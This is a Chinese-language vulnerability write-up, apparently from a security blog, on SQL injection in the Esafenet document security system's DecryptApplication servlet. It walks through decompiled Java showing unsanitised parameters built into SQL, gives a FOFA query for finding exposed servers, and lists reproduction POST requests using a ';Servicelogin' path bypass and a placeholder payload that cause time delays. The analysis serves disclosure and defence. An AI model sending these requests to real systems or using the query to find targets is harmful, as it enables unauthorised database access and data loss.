亿赛通-电子文档安全管理系统 DecryptApplication 多处SQL注入漏洞


漏洞简介

亿赛通电子文档安全管理系统的DecryptApplication接口存在SQL注入漏洞。攻击者可以通过构造特定的POST请求,在flowId参数中注入恶意SQL代码,利用该漏洞对数据库执行任意SQL操作。攻击者可以通过注入WAITFOR DELAY命令,导致数据库响应时间延迟,从而确认SQL注入的成功。此漏洞可能导致数据库中的敏感信息泄露、篡改或删除,严重威胁系统的安全性和数据完整性。

影响版本

fofa语法

app="亿赛通-电子文档安全管理系统" || body="/CDGServer3/index.jsp"

漏洞分析

PS: 相关权限绕过简析参考亿赛通电子文档安全管理系统 AppExamList.jsp SQL注入漏洞

根据 web.xml 里对 DecryptApplication 的定义

<!-- DecryptApplication -->
<servlet>
    <servlet-name>DecryptApplication</servlet-name>
    <display-name>DecryptApplication</display-name>
    <servlet-class>
       com.esafenet.servlet.client.DecryptApplicationService
    </servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>DecryptApplication</servlet-name>
    <url-pattern>/client/DecryptApplication</url-pattern>
</servlet-mapping>

可知,访问路由为 /client/DecryptApplication ,具体实现逻辑类为 com.esafenet.servlet.client.DecryptApplicationService

delDecryptApplication

跟进查看delDecryptApplication实现方式

public void actionDelDecryptApplication(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException, Exception {
    String fromurl = RequestUtil.getParameter(req, "fromurl", "");
    String id = RequestUtil.getParameter(req, "id", "");
    this.model.delDecryptApplication(id);
    if (CDGUtil.isGF()) {
        res.sendRedirect(fromurl);
    } else {
        req.getRequestDispatcher(fromurl).forward(req, res);
    }

}

将请求的参数如id带入delDecryptApplication方法

public void delDecryptApplication(String id) throws Exception {
    Map setMap = new HashMap();
    Map updateMap = new HashMap();
    setMap.put("HasDeleted", "1");
    setMap.put("Field02", CDGUtil.getCurrentTime());
    updateMap.put("uniqueid", id);
    this.decryptApplicationDao.update(setMap, updateMap);
}

继续跟进decryptApplicationDao.update方法

public void update(Map setM, Map updateM) throws Exception {
    StringBuffer toSetSb = new StringBuffer(" ");
    StringBuffer updateSb = new StringBuffer(" ");
    Set setMap = setM.entrySet();
    Set updateMap = updateM.entrySet();
    if (setMap != null && updateMap != null && setMap.size() != 0 && updateMap.size() != 0) {
        Iterator iter = setMap.iterator();

        while(iter.hasNext()) {
            Map.Entry element = (Map.Entry)iter.next();
            if (iter.hasNext()) {
                toSetSb.append(element.getKey().toString()).append("=").append("'").append(this.verifyString(element).toString()).append("',");
            } else {
                toSetSb.append(element.getKey().toString()).append("=").append("'").append(this.verifyString(element).toString()).append("' ");
            }
        }

        iter = updateMap.iterator();

        while(iter.hasNext()) {
            Map.Entry element = (Map.Entry)iter.next();
            if (iter.hasNext()) {
                updateSb.append(element.getKey().toString()).append("=").append("'").append(this.verifyString(element).toString()).append("' and ");
            } else {
                updateSb.append(element.getKey().toString()).append("=").append("'").append(this.verifyString(element).toString()).append("' ");
            }
        }

        String sql = "update " + tableName + " SET " + toSetSb.toString() + " where " + updateSb.toString();
        this.updateCommon(sql);
    }

主要为组装sql语句后直接执行,可见参数全程未经任何过滤和校验就被直接拼接进sql语句中进行执行,从而导致sql注入漏洞。

DownLoadLogs

public void actionDownLoadLogs(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException, Exception {
    String isdeled = RequestUtil.getParameter(req, "isdeled", "");
    String isExam = RequestUtil.getParameter(req, "isExam", "");
    String type = "解密申请";
    this.model.downLoadLogs(isdeled, isExam, req, res, type);
}

跟进downLoadLogs方法

public void downLoadLogs(String isdeled, String isExam, HttpServletRequest req, HttpServletResponse res, String type) throws IOException {
    String ip = RequestUtil.getParameter(req, "ip", "");
    String machineName = RequestUtil.getParameter(req, "machineName", "");
    res.setContentType("csv");
    res.setHeader("Content-Disposition", "attachment;filename=\"log.csv\"");
    res.setContentType("text/plain;charset=GB2312");
    PrintWriter out = null;

    try {
        out = res.getWriter();
        out.println("客户端,申请人,类型,审批人,审批日期,备注,申请时间");
        List<DecryptApplicationInfo> list = getLogs(isdeled, isExam, ip, machineName);

跟进getLogs方法

private static List<DecryptApplicationInfo> getLogs(String isdeled, String isExam, String ip, String machineName) throws Exception {
    DecryptApplicationDao dao = new DecryptApplicationDao();
    Map map = new HashMap();
    map.put("HasDeleted", isdeled);
    if (!"".equals(isExam)) {
        map.put("HasExam", isExam);
    }

    if (!"".equals(ip)) {
        map.put("Ip", ip);
    }

    if (!"".equals(machineName)) {
        map.put("MachineName", machineName);
    }

    return dao.getList(map);
}

继续跟进getList方法

public List<DecryptApplicationInfo> getList(Map map) throws Exception {
    List<DecryptApplicationInfo> list = new ArrayList();
    StringBuffer sql = new StringBuffer();
    sql.append("select * from " + tableName);
    String where = CDGUtil.getWhereClauseForString(map);
    sql.append(where);
    HashMap[] maps = this.getCommonResults(sql.toString());
    if (maps != null && maps.length > 0) {
        for(int i = 0; i < maps.length; ++i) {
            list.add(MapToInfo(maps[i]));
        }
    }

    return list;
}

喏,又是和前面一样的组装完成sql语句后直接执行,全程无过滤或校验,从而造成sql注入漏洞。

DelAllDecryptApplication

public void actionDelAllDecryptApplication(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException, Exception {
    String fromurl = RequestUtil.getParameter(req, "fromurl", "");
    String[] strs = RequestUtil.getParameters(req, "allCheckbox");

    for(int i = 0; strs != null && i < strs.length; ++i) {
        this.model.delDecryptApplication(strs[i]);
    }

    req.getRequestDispatcher(fromurl).forward(req, res);
}

跟进delDecryptApplication方法

public void delDecryptApplication(String id) throws Exception {
    Map setMap = new HashMap();
    Map updateMap = new HashMap();
    setMap.put("HasDeleted", "1");
    setMap.put("Field02", CDGUtil.getCurrentTime());
    updateMap.put("uniqueid", id);
    this.decryptApplicationDao.update(setMap, updateMap);
}

又遇见熟悉的decryptApplicationDao.update方法了,在上面已经分析过了,这里就不赘述了。

PassDecryptApplication

public void actionPassDecryptApplication(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException, Exception {
    log.info("执行审批通过业务:" + CDGUtil.getTime());
    String fromurl = RequestUtil.getParameter(req, "fromurl", "");
    String id = RequestUtil.getParameter(req, "id", "");
    String uploadFile = RequestUtil.getParameter(req, "uploadFile", "");
    DecryptApplicationInfo info = this.model.findById(id);

跟进 findById 方法

public DecryptApplicationInfo findById(String id) throws Exception {
    StringBuffer sql = new StringBuffer();
    sql.append("select * from " + tableName);
    Map<String, String> map = new HashMap();
    map.put("Uniqueid", id);
    String where = CDGUtil.getWhereClauseForString(map);
    sql.append(where);
    HashMap[] maps = this.getCommonResults(sql.toString());
    if (maps != null && maps.length > 0) {
        DecryptApplicationInfo info = MapToInfo(maps[0]);
        return info;
    } else {
        return null;
    }
}

也是熟悉的方法组装sql语句后执行,造成sql注入漏洞。

OpposeDecryptApplication

和上面的一样

Examing

public void actionExaming(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException, Exception {
    String fromurl = RequestUtil.getParameter(req, "fromurl", "");
    String appId = RequestUtil.getParameter(req, "appId", "");

    try {
        this.model.changeSome(appId, req);

跟进changeSome方法

public void changeSome(String appId, HttpServletRequest req) throws Exception {
    List<DecryptFileVO> decryptFiles = this.getPassFileForAppId(appId);
    String appUser = req.getParameter("appUser");
    this.examApplication_1_Socket(1, decryptFiles, appUser);
    this.examApplication_2_Db(req, appId, decryptFiles, "", "");
}

private List<DecryptFileVO> getPassFileForAppId(String appId) throws Exception {
    Map map = new HashMap();
    map.put("DecryptApplicationId", appId);
    map.put("IsApproval", new Integer(1));
    List<DecryptFileInfo> list = this.decryptFileDao.findByPrecise(map);

跟进findByPrecise方法

public List<DecryptFileInfo> findByPrecise(Map map) throws Exception {
    StringBuffer sql = new StringBuffer();
    sql.append("select * from " + tableName);
    sql.append(CDGUtil.getWhereClauseForString(map));
    HashMap[] maps = this.getCommonResults(sql.toString());

同样也是组装sql语句后执行,造成sql注入漏洞。

UpLoadDecyptFile

DelDecyptFile

PassDecryptApplication1

DelDecryptApplication2

OpposeDecryptApplication2

DelAllDecryptApplication2

漏洞复现

DelDecryptApplication

POST /CDGServer3/client/DecryptApplication;Servicelogin HTTP/1.1
Host: CDGServer3.mrxn.net
Content-Type: application/x-www-form-urlencoded

id=SQLI_POC&machineId=&command=DelDecryptApplication&fromurl=/frame.jsp&appUser=

成功延时 5 秒

DownLoadLogs

POST /CDGServer3/client/DecryptApplication;Servicelogin HTTP/1.1
Host: CDGServer3.mrxn.net
Content-Type: application/x-www-form-urlencoded

isdeled=SQLI_POC&isExam=&command=DownLoadLogs

成功延时 5 秒

DelAllDecryptApplication

POST /CDGServer3/client/DecryptApplication;Servicelogin HTTP/1.1
Host: CDGServer3.mrxn.net
Content-Type: application/x-www-form-urlencoded

allCheckbox=SQLI_POC&fromurl=DeletedDecryptApplication2.jsp&command=DelAllDecryptApplication

成功延时 5 秒

PassDecryptApplication

POST /CDGServer3/client/DecryptApplication;Servicelogin HTTP/1.1
Host: CDGServer3.mrxn.net
Content-Type: application/x-www-form-urlencoded

id=SQLI_POC&fromurl=UnChkDecryptAppliction.jsp;jsessionid=E3D7E1E37FB207B0B1E1370638516643&command=PassDecryptApplication&uploadFile=1

OpposeDecryptApplication

Examing


手机扫码阅读

西部数码 NAS login_mgr.cgi 命令执行漏洞

快普M6 WebService/StaffService.asmx SQL注入漏洞

评 论